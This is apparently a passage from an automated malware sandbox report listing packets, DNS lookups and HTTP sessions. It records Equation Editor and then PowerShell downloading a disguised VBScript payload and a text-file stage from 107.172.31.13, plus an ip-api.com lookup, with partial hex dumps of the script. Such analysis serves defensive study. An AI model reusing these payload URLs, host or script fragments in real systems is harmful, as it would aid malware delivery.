Oct 24, 2024 08:59:28.167350054 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.167577982 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.167623997 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.167665958 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.167669058 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.167864084 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.167908907 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.167910099 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.167956114 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.167996883 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.168320894 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.168368101 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.168414116 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.168637037 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.168682098 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.168724060 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.168726921 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.168772936 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.168813944 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.168818951 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.169500113 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.169545889 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.169548035 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.169595003 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.169637918 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.169639111 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.169681072 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.169723034 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.169724941 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.170330048 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.170375109 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.170377016 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.170420885 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.170463085 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.170469046 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.170819998 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.170862913 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.170864105 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.170911074 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.170952082 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.170954943 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.171000004 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.171047926 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.171720028 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.171766996 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.171808958 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.171812057 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.171858072 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.171895027 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.171901941 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.171948910 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.171989918 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.172581911 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.172629118 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.172672987 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.172676086 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.172719955 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.172760963 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.172765017 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.173480988 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.173526049 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.173527002 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.173573971 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.173615932 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.173619032 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.173662901 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.173706055 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.173707962 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.174340963 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.174385071 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.174386978 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.174431086 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.174485922 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.174487114 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.174530983 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.174580097 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.175203085 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.175250053 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.175291061 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.175292969 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.175353050 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.175396919 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.175396919 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.175442934 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.175489902 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.208710909 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.208967924 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.209009886 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.209012032 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.209054947 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.209104061 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.283355951 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.283452988 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.283504009 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.283504963 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.283639908 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.283687115 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.283695936 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.283739090 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.283790112 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.284091949 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.284138918 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.284181118 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.284183979 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.284229994 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.284274101 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.284276962 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.284318924 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.284365892 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.284369946 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.285032988 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.285079002 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.285079956 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.285125971 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.285170078 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.285171986 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.285218000 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.285262108 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.285264015 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.285307884 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.285350084 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.285974026 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.286020994 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.286065102 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.286067009 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.286113024 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.286158085 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.286158085 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.286204100 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.286247015 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.286248922 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.286909103 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.286955118 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.286958933 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.287000895 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.287041903 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.287046909 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.287091017 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.287131071 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.287133932 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.287179947 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.287220955 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.287863016 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.287910938 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.287955046 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.287956953 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.288003922 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.288045883 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.288048029 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.288094044 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.288135052 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.288137913 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.288790941 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.288837910 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.288841009 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.288882971 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.288928032 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.288928032 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.288975000 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.289016008 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.289020061 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.289702892 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.289747953 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.289748907 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.289793968 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.289835930 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.289839029 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.289884090 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.289925098 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.289928913 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.289974928 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.290018082 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.290656090 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.290703058 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.290747881 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.290750980 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.290792942 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.290836096 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.290838003 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.290883064 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.290925026 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.290930986 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.324976921 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.325046062 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.325051069 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.325100899 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.325145960 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.325151920 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.325195074 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.325242043 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.399355888 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.399468899 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.399522066 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.399538994 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.399590015 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.399635077 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.399638891 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.399740934 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.399791002 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.468894958 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.836463928 CEST	49169	80	192.168.2.22	208.95.112.1
Oct 24, 2024 08:59:28.842057943 CEST	80	49169	208.95.112.1	192.168.2.22
Oct 24, 2024 08:59:28.842206955 CEST	49169	80	192.168.2.22	208.95.112.1
Oct 24, 2024 08:59:28.842453003 CEST	49169	80	192.168.2.22	208.95.112.1
Oct 24, 2024 08:59:28.847923040 CEST	80	49169	208.95.112.1	192.168.2.22
Oct 24, 2024 08:59:29.436485052 CEST	80	49169	208.95.112.1	192.168.2.22
Oct 24, 2024 08:59:29.638288021 CEST	49169	80	192.168.2.22	208.95.112.1
Oct 24, 2024 09:00:03.467693090 CEST	80	49169	208.95.112.1	192.168.2.22
Oct 24, 2024 09:00:03.467904091 CEST	49169	80	192.168.2.22	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 08:59:07.766210079 CEST	54562	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:59:07.782073975 CEST	53	54562	8.8.8.8	192.168.2.22
Oct 24, 2024 08:59:09.245877028 CEST	52917	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:59:09.267044067 CEST	53	52917	8.8.8.8	192.168.2.22
Oct 24, 2024 08:59:28.819457054 CEST	62751	53	192.168.2.22	8.8.8.8
Oct 24, 2024 08:59:28.829941034 CEST	53	62751	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 08:59:07.766210079 CEST	192.168.2.22	8.8.8.8	0xcfb	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:59:09.245877028 CEST	192.168.2.22	8.8.8.8	0xcedf	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:59:28.819457054 CEST	192.168.2.22	8.8.8.8	0xc364	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 08:59:07.782073975 CEST	8.8.8.8	192.168.2.22	0xcfb	No error (0)	drive.google.com	216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:59:09.267044067 CEST	8.8.8.8	192.168.2.22	0xcedf	No error (0)	drive.usercontent.google.com	142.250.186.97	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:59:28.829941034 CEST	8.8.8.8	192.168.2.22	0xc364	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

107.172.31.13

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49165	107.172.31.13	80	3700	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:59:04.516045094 CEST	328	OUT	GET /NIGHTTTTMPDW-constraints.vbs HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 107.172.31.13 Connection: Keep-Alive
Oct 24, 2024 08:59:05.176064014 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/vbscript Last-Modified: Wed, 23 Oct 2024 20:47:39 GMT Accept-Ranges: bytes ETag: "ff59d4cc8c25db1:0" Server: Microsoft-IIS/10.0 Date: Thu, 24 Oct 2024 06:59:05 GMT Content-Length: 138934 Data Raw: ff fe 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 43 00 72 00 65 00 61 00 74 00 65 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 28 00 77 00 73 00 6d 00 61 00 6e 00 2c 00 20 00 63 00 6f 00 6e 00 53 00 74 00 72 00 2c 00 20 00 6f 00 70 00 74 00 44 00 69 00 63 00 2c 00 20 00 73 00 75 00 62 00 73 00 69 00 6e 00 75 00 6f 00 73 00 6f 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 66 00 61 00 72 00 72 00 61 00 63 00 68 00 6f 00 46 00 6c 00 61 00 67 00 73 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 63 00 6f 00 6e 00 4f 00 70 00 74 00 20 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 66 00 61 00 72 00 72 00 61 00 63 00 68 00 6f 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 61 00 75 00 74 00 68 00 56 00 61 00 6c 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 56 00 61 00 6c 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 [TRUNCATED] Data Ascii: private function CreateSession(wsman, conStr, optDic, subsinuoso) dim farrachoFlags dim conOpt dim farracho dim authVal dim encodingVal dim encryptVal dim pw dim tout ' proxy information dim proxyAccessType dim proxyAccessTypeVal dim proxyAuthenticationMechanism dim proxyAuthenticationMechanismVal dim proxyUsername dim proxyPassword farrachoFlags = 0 proxyAccessType = 0 proxyAccessTypeVal = 0 pr
Oct 24, 2024 08:59:05.176126003 CEST	1236	IN	Data Raw: 6f 00 78 00 79 00 41 00 75 00 74 00 68 00 65 00 6e 00 74 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 4d 00 65 00 63 00 68 00 61 00 6e 00 69 00 73 00 6d 00 20 00 3d 00 20 00 30 00 0d 00 0a 00 20 00 20 00 20 00 20 00 70 00 72 00 6f 00 78 00 79 00 Data Ascii: oxyAuthenticationMechanism = 0 proxyAuthenticationMechanismVal = 0 proxyUsername = "" proxyPassword = ""
Oct 24, 2024 08:59:05.176165104 CEST	424	IN	Data Raw: 73 00 20 00 3d 00 20 00 66 00 61 00 72 00 72 00 61 00 63 00 68 00 6f 00 46 00 6c 00 61 00 67 00 73 00 20 00 4f 00 52 00 20 00 77 00 73 00 6d 00 61 00 6e 00 2e 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 46 00 6c 00 61 00 67 00 55 00 54 00 46 00 Data Ascii: s = farrachoFlags OR wsman.SessionFlagUTF8 else ' Invalid! ASSERTBOOL false, "The spe
Oct 24, 2024 08:59:05.176237106 CEST	1236	IN	Data Raw: 73 00 74 00 73 00 28 00 4e 00 50 00 41 00 52 00 41 00 5f 00 55 00 4e 00 45 00 4e 00 43 00 52 00 59 00 50 00 54 00 45 00 44 00 29 00 20 00 74 00 68 00 65 00 6e 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 41 00 53 00 53 00 45 00 Data Ascii: sts(NPARA_UNENCRYPTED) then ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_UNENCRYPTED & "'
Oct 24, 2024 08:59:05.176276922 CEST	1236	IN	Data Raw: 66 00 20 00 6f 00 70 00 74 00 44 00 69 00 63 00 2e 00 41 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 45 00 78 00 69 00 73 00 74 00 73 00 28 00 4e 00 50 00 41 00 52 00 41 00 5f 00 41 00 55 00 54 00 48 00 29 00 20 00 74 00 68 00 65 00 6e 00 0d 00 Data Ascii: f optDic.ArgumentExists(NPARA_AUTH) then ASSERTNAL(NPARA_AUTH) authVal = optDic.Argument(NPARA_AUTH)
Oct 24, 2024 08:59:05.176738977 CEST	424	IN	Data Raw: 20 00 22 00 54 00 68 00 65 00 20 00 27 00 2d 00 22 00 20 00 26 00 20 00 4e 00 50 00 41 00 52 00 41 00 5f 00 50 00 41 00 53 00 53 00 57 00 4f 00 52 00 44 00 20 00 26 00 20 00 22 00 27 00 20 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 20 00 69 00 73 00 Data Ascii: "The '-" & NPARA_PASSWORD & "' option is only valid for '-auth:none'" case VAL_BASIC 'Use -
Oct 24, 2024 08:59:05.176774025 CEST	1236	IN	Data Raw: 29 00 2c 00 20 00 22 00 54 00 68 00 65 00 20 00 27 00 2d 00 22 00 20 00 26 00 20 00 4e 00 50 00 41 00 52 00 41 00 5f 00 55 00 53 00 45 00 52 00 4e 00 41 00 4d 00 45 00 20 00 26 00 20 00 22 00 27 00 20 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 20 00 Data Ascii: ), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'" ASSERTBOOL not optDic.Argum
Oct 24, 2024 08:59:05.176809072 CEST	1236	IN	Data Raw: 68 00 65 00 20 00 27 00 2d 00 22 00 20 00 26 00 20 00 4e 00 50 00 41 00 52 00 41 00 5f 00 43 00 45 00 52 00 54 00 20 00 26 00 20 00 22 00 27 00 20 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 20 00 69 00 73 00 20 00 6e 00 6f 00 74 00 20 00 76 00 61 00 Data Ascii: he '-" & NPARA_CERT & "' option is not valid for '-auth:digest'" farrachoFlags = farrachoFlags OR wsman.S
Oct 24, 2024 08:59:05.177676916 CEST	1236	IN	Data Raw: 67 00 75 00 6d 00 65 00 6e 00 74 00 45 00 78 00 69 00 73 00 74 00 73 00 28 00 4e 00 50 00 41 00 52 00 41 00 5f 00 43 00 45 00 52 00 54 00 29 00 2c 00 20 00 22 00 54 00 68 00 65 00 20 00 27 00 2d 00 22 00 20 00 26 00 20 00 4e 00 50 00 41 00 52 00 Data Ascii: gumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:negotiate'" farrachoF
Oct 24, 2024 08:59:05.177711010 CEST	636	IN	Data Raw: 42 00 4f 00 4f 00 4c 00 20 00 6e 00 6f 00 74 00 20 00 6f 00 70 00 74 00 44 00 69 00 63 00 2e 00 41 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 45 00 78 00 69 00 73 00 74 00 73 00 28 00 4e 00 50 00 41 00 52 00 41 00 5f 00 50 00 41 00 53 00 53 00 Data Ascii: BOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is not valid for '-auth:certificate'
Oct 24, 2024 08:59:05.182136059 CEST	1236	IN	Data Raw: 20 00 6f 00 73 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 3e 00 3d 00 20 00 6f 00 73 00 56 00 69 00 73 00 74 00 61 00 2c 00 20 00 22 00 54 00 68 00 65 00 20 00 73 00 70 00 65 00 63 00 69 00 66 00 69 00 65 00 64 00 20 00 27 00 2d 00 22 00 Data Ascii: osVersion >= osVista, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49168	107.172.31.13	80	3984	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:59:27.046372890 CEST	80	OUT	GET /madamwebaaaaa.txt HTTP/1.1 Host: 107.172.31.13 Connection: Keep-Alive
